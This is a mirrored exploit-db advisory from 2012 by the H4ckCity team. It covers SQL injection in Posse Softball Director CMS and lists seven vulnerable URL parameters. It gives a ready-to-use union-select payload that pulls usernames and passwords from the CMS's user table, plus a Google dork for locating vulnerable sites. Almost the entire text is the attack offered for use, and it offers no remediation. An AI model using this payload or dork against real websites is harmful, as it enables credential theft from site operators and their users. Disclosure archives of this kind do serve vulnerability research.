Posse Softball Director CMS – SQL Injection - 体验盒子

作者： H4ckCity Security Team

日期： 2012-01-04

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/18314/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

############################################################################

# Exploit Title: Posse Sports SQL Injection Vulnerabilitiy

# Google Dork: "Powered By Posse Sports"

# Date: 4/1/2012

# Author: H4ckCity Security Team

# Discovered By: farbodmahini

# Home: WwW.H4ckCity.Org

# Software Link: www.possesports.com

# Version: All Version

# Category:: webapps

# Security Risk:: High

# Tested on: GNU/Linux Ubuntu - Windows Server - win7

############################################################################

#Exploit:

#

#http://[target]/newsdetail.php?news_id=[SQL]

#http://[target]/dirdetails.php?iddirector=[SQL]

#http://[target]/tdetails.php?idtourn=[SQL]

#http://[target]/tresults.php?tourn_id=[SQL]

#http://[target]/tournsearch.php?idclass=[SQL]

#http://[target]/fieldinfo.php?idfield=[SQL]

#http://[target]/page.php?id=[SQL*]

#

#[~] SQL* :

#

#-9999+union+select+1,2,group_concat(id,0x3a,username,0x3a,password)+from+user

#

############################################################################

# Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R-

# IrIsT-K0242-P0W3RFU7-Mr.M4st3r-Higher_Sense ,...

############################################################################

GreetZ : All H4ckCity Member - BHG Members

############################################################################